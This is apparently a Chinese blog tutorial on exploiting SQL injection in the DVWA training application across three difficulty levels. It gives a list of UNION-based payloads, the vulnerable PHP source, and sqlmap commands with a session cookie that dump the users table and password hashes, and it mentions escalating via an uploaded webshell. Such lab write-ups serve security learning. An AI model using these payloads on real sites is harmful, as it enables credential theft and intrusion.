DVWA学习之sql注入

注入的一般思路和常用语句:

  • 寻找注入点,可以通过web扫描工具实现
  • 通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
  • 猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
  • 可以通过获得的用户信息,寻找后台登录。
  • 利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。
  • 1' order by 2 – /*用来猜解查询信息的列数

  • 1' and 1=2 union select user(),database(),

  • 1' and 1=2 union select user(),version(), – /*利用user(),database(),version()函数获得数据库信息`

  • 'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*获得操作系统信息1' and ord(mid(user(),1,1))=114 – /*测试连接数据库用户权限

  • 1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出所有数据库名称1' and exists(select * from users)– /*猜解表名

  • 1' and exists(select first_name from users) – /猜解字段名`

  • 1' and 1=2 union select first_name,last_name from users – /*猜解字段内容

0x00:Low级别

手工注入

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

通过源码可以看出对于输入的变量id并没有进行过滤而是直接用在了sql查询语句中,下面开始检测:
(1)先输入单引号,发现会出现报错如图1-1-1和1-1-2,接着输入基于布尔检测的语句,结果如图1-1-3
1-1-1

1-1-2

1-1-3

可以看出是存在注入点的。
(2)那么首先爆出它的库试试,用单引号让id闭合:1' union select 1,database()#
结果如图1-1-4所示,可以看到使用的数据库为dvwa
1-1-4
(3)接下来爆表试试:1' union select 1,table_name from information_schema.tables where table_schema='dvwa'# 结果如图1-1-5,可以看出有两个表分别为guestbookuser
1-1-5
(4)显然我们对user更感兴趣,爆一下它的列:1' union select 1,column_name from information_schema.columns where table_name='users'#结果如图1-1-6,可以发现有很多列
1-1-6

(5)最重要的一般是user列和password列,我们爆出这两列的字段内容:1' union select 1,concat_ws(char(32,58,32),user,password) from users #结果如图1-1-7,即得到passwd。
1-1-7

sqlmap

除了手工注入外,我们这里再学习一下使用强大的SQL注入扫描工具sqlmap来进行扫描:
先来探测一下该页面是否存在SQL注入漏洞,因为DVWA是需要登录的,需要用到cookie信息。可通过F12打开开发者工具来获取用户的cookie信息,当然也可以通过其他方式来获取,结果如图1-1-8所示。
1-1-8

(1)此时通过sqlmap来查看是否存在注入点:sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6elcj71e4aatt4enhe6g2ohs82" --batch
结果图1-1-9所示,故存在注入点。
1-1-9

(2)接着通过–dbs参数查看所有的数据库:sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6elcj71e4aatt4enhe6g2ohs82" --dbs --batch,结果如图1-1-10所示,有5个数据库。
1-1-10

(3)通过-D参数指定为dvwa数据库,–tables参数查看所有的表: sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6elcj71e4aatt4enhe6g2ohs82" -D dvwa --tables --batch,结果如图1-1-11所示,有两个表。
1-1-11

(4)接着扫描users表,通过-T参数指定表为users,–columns查看该表的所有列:sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6elcj71e4aatt4enhe6g2ohs82" -D dvwa -T users --columns --batch,结果如图1-1-12所示,所有列都出来了。
1-1-12

(5)直接用–dump参数将所有列的信息都列出来即可: sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6elcj71e4aatt4enhe6g2ohs82" -D dvwa -T users --dump --batch,结果如图1-1-13所示,表中的数据基本都有了。
1-1-13

0x01:Medium级别

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入,如图1-2-1所示,而且我们提交一个数据后发现URL如下http://127.0.0.1/dvwa/vulnerabilities/sqli/#
1-2-1

所以不是get型注入,应该是把提交的数据存放到post数据中了,我们来用burpsuite抓包试一下,如图1-2-2所示,然后开始构造语句,虽然在代码中通过mysql_real_escape_string函数对一些敏感字符进行了相应的过滤,但是在SELECT语句中变量id的值的获取并没有通过外加单引号或者双引号来实现,即那层过滤也形同虚设,只需在输入中连需要闭合用的单引号等都不需要添加了,直接输入相应的语句即可,由于相关步骤和low级别的相似,这里不过多阐述。
1-2-2

最终爆出密码的payload:id=1 union select null,concat_ws(char(32,32),user_id,first_name,last_name,password) from users #&Submit=Submit,将构造后产生的结果用浏览器打开,过程和结果如图1-2-3、1-2-4所示,所有用户名和密码都出来了.
1-2-3

1-2-4

0x02:High级别

尝试了一下就直接爆出来了 和low级别方法差不多,代码为:1' union select null,concat_ws(char(32,32),user_id,first_name,last_name,password) from users #如图1-3-1所示:
1-3-1